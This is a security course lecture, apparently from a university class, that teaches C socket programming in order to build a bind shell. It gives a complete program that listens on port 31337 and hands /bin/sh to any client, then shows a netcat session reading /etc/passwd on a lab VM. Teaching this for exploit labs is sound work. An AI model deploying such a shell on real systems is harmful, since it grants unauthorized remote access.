Lec. 14: Socket Programming and Remote Shells
Table of Contents
1 Socket Programming in C
This lesson is all about writing shell code that create a listening port on the remote machine that when connected to, provides shell access to the exploited host. This requires us to recall how to do socket programming in C, which can be a pain.
For this lesson, we focus only on the server side, but you'll have to do some client side work for your labs…
1.1 socket()
First, a socket in C is just like any other file descriptor — it has an assigned number reference for the file descriptor table. To open a new socket, we use the socket system call:
int socket(int domain, int type, int protocol);
The domain of the socket describes the kind of socket we are
using. This could be a Unix socket which is used for in-host
communication, or it could be IPv4 socket or a IPv6 socket. In
general, we are going to be using IPv4 sockets: AF_INET
or PF_INET
depending on the system.
Next the type describes what high-level protocol should be used to
communicate on the socket. The two main varieties for types is
SOCK_STREAM
for TCP/IP
sockets and SOCK_DGRAM
for UDP
sockets. Remote shells need reliable, session based communication, and
thus we will use SOCKSTREAM.
Finally the protocol refers to type specific protocol settings: We will not use this and set this value to 0.
The return value from socket is an integer which is a reference to the file descriptor table. At this point, the socket is not really ready to do anything. We just opened it, but now we have to go about bind'ing the socket to an address.
When we put this all together, the code to open a socket is:
//open new socket for server server = socket(AF_INET, SOCK_STREAM, 0);
1.2 bind()
A socket that is to be used as a server socket, that is, accept incoming connections, must be bound to a network address. This is required because some machines have multiple IP addresses, also called multi-homed, and the OS must know which interface the socket is to be associated with. The function definition is as follows:
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
The sockfd
is the socket file descriptor to be bound. The sockaddr
reference addr
is the address to be bound to, and the length argument
is the length of the socket address.
Here's where things get annoying with C sockets: Each different socket
type has a different address structure. You have to do a lot of
annoying casting and setup in order to get the right socket address
set up and passed to the bind()
(and the accept()
) function.
For AF_INET
sockets, the relevant socket address is a
sockaddr_in
. Which has the following members:
struct sockaddr_in { short sin_family; // e.g. AF_INET, AF_INET6 unsigned short sin_port; // e.g. htons(3490) struct in_addr sin_addr; // see struct in_addr, below char sin_zero[8]; // zero this if you want to };
Two important points about the address structure: (1) note that the
port is stored in network byte order (not Little Endian) and we need
to use htnos()
to cover the order, and this is also the same for the
in_addr
portion; (2) there is a lot of padding in the structure, but
the core parts, sinfamily, sinport and sinaddr will be 2 + 2 + 4 or
8 bytes in size, and with the padding of 8 bytes, the total structure
is 16 bytes.
Initializing the server address and then binding to it looks like such:
struct sockaddr_in host_addr; //set up server address memset(&(host_addr), '\0', sizeof(struct sockaddr_in)); host_addr.sin_family=AF_INET; host_addr.sin_port=htons(31337); host_addr.sin_addr.s_addr=INADDR_ANY; //bind server socket if(bind(server, (struct sockaddr *) &host_addr, sizeof(struct sockaddr)) < 0){ perror("bind"); return 1; }
There are a couple of things to take away from this process. We use
the INADDR_ANY
flag to indicate that we are ok with the bind
occurring on "any" interface address. On most machines this is fine,
but we might want to bind to a particular address in the future and to
do that we would use inet_addr()
or inet_ntoa()
and etc to put
address is network byte order. Finally notes that host_addr
must be
cast to a sockaddr
.
1.3 listen()
The listen()
system call establishes that the socket is to be used
for incoming connections, i.e., as a server socket. listen()
takes
two arguments:
int listen(int sockfd, int backlog);
The first argument is the socket file descriptor to act upon. The second argument is the backlog which describes how many incoming connections can be pending prior to their acceptance. This argument is often confusing for programmers because it is not the number of client connections possible, but rather how many connections can be processed before accepting them. Consider that once a connection is accepted with the accept() system call, a new socket is creatted for that connection. At that point, the file descriptor resources have been allocated and systems are already in place to handle that connection. However, prior to that, there exists a small window where a client has connected to the server socket but there has not been a new socket created for accepting the connection. The backlog argument says how many such connections to the server socket can exist during that small window. A typical value for backlog is 4.
//set up listening queue listen(server,4);
1.4 accept()
The last piece of the puzzle is accepting an incoming connection from
the server socket to establish a new socket where you can communicate
with the client. The arguments for accept()
are:
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
The first argument is the socket file descriptor, and the second argument is a reference to a sockaddr which will be written to with the remote address of the client. The third argument is a reference to a size argument, which will store the size of the resulting argument. In practice, this code will look like:
int server; struct sockaddr_in client_addr; socklen_t sin_size ; //store size //size of incoming addresses sin_size = sizeof(struct sockaddr_in); //accept incoming connection client = accept(server, (struct sockaddr *) &client_addr, &sin_size);
The accept system call returns a new file descriptor that refers to
the new socket for communication. It is important to remember that
accept()
is a blocking system call: it will not return until an
incoming connection is made. This is much like the read()
system
call on stdin, which will not return until user input is provided (or
the buffer is full).
At this point, the server has created a socket, bound the socket, listened for incoming connection, and accepted the connection with a new socket ready for reading and writing. The last thing to do use this to create a remote shell
2 Remote Shell
Consider for a second what is a remote shell? We use ssh a lot for our remote shells, and it is a secure shell, but what does it really mean?
In it's most basic form, a remote shell is just a mechanism for us to type on a terminal on the local machine and then send that input over the network where it becomes the input to a shell running on the remote machine. In the reverse direction, the results of running those commands on the remote machine is written to standard output (and standard error) and must then be transferred back over the network to the local machine where they are written to the terminal. Visually this might look something like this:
Since we are writing the server side of this, consider what we might
want to do once an incoming connection is established. First, we have
to start executing /bin/sh
, but we need /bin/sh
to have the
standard file descriptors hooked up to the socket. The solution to
that, is the dup2()
system call.
//duplicate file descriptors for socket dup2(client, 0); dup2(client, 1); dup2(client, 2); //execve shell char *args[2]={"/bin//sh", NULL}; execve(args[0], args, NULL);
A socket is a two way file descriptor, unlike a pipe, so it can be read and written to. It's perfectly fine to duplicate it on to the stadard file descriptors. After the dup's all input/output/error from the program is drector to/from the socket. The last thing to do is to execute the shell which will inherent the file descriptor table, and thus now the shell is using the socket for all communication with the user. To connect the circuit, on a remote host, we connect to the serve.
#include <unistd.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main(void){ int server, client; //server and client socket struct sockaddr_in host_addr, client_addr; //address structures socklen_t sin_size ; //store size int yes=1; //open new socket for server server = socket(AF_INET, SOCK_STREAM, 0); //set up server address memset(&(host_addr), '\0', sizeof(struct sockaddr_in)); host_addr.sin_family=AF_INET; host_addr.sin_port=htons(31337); host_addr.sin_addr.s_addr=INADDR_ANY; //bind server socket if(bind(server, (struct sockaddr *) &host_addr, sizeof(struct sockaddr)) < 0){ perror("bind"); return 1; } //set up listening queue listen(server,4); //size of incoming addresses sin_size = sizeof(struct sockaddr_in); //accept incoming connection client = accept(server, (struct sockaddr *) &client_addr, &sin_size); //duplicate file descriptors for socket dup2(client, 0); dup2(client, 1); dup2(client, 2); //execve shell char *args[2]={"/bin//sh", NULL}; execve(args[0], args, NULL); return 0; }
Now if I start the server on my local VM
user@si485H-base:demo$ ./rsh
On my host computer, I can connect over netcat, and then type cat
/etc/passwd
and it will go give me what I desire!
[aviv@potbelly] 14 > netcat 192.168.56.101 31337 cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false messagebus:x:102:106::/var/run/dbus:/bin/false usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false dnsmasq:x:104:65534:dnsmasq,,,:/var/lib/misc:/bin/false avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false rtkit:x:107:114:RealtimeKit,,,:/proc:/bin/false saned:x:108:115::/home/saned:/bin/false whoopsie:x:109:116::/nonexistent:/bin/false speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh avahi:x:111:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false lightdm:x:112:118:Light Display Manager:/var/lib/lightdm:/bin/false colord:x:113:121:colord colour management daemon,,,:/var/lib/colord:/bin/false hplip:x:114:7:HPLIP system user,,,:/var/run/hplip:/bin/false pulse:x:115:122:PulseAudio daemon,,,:/var/run/pulse:/bin/false user:x:1000:1000:user,,,:/home/user:/bin/bash vboxadd:x:999:1::/var/run/vboxadd:/bin/false sshd:x:116:65534::/var/run/sshd:/usr/sbin/nologin aviv:x:1001:1001:Adam Aviv,,,:/home/aviv:/bin/bash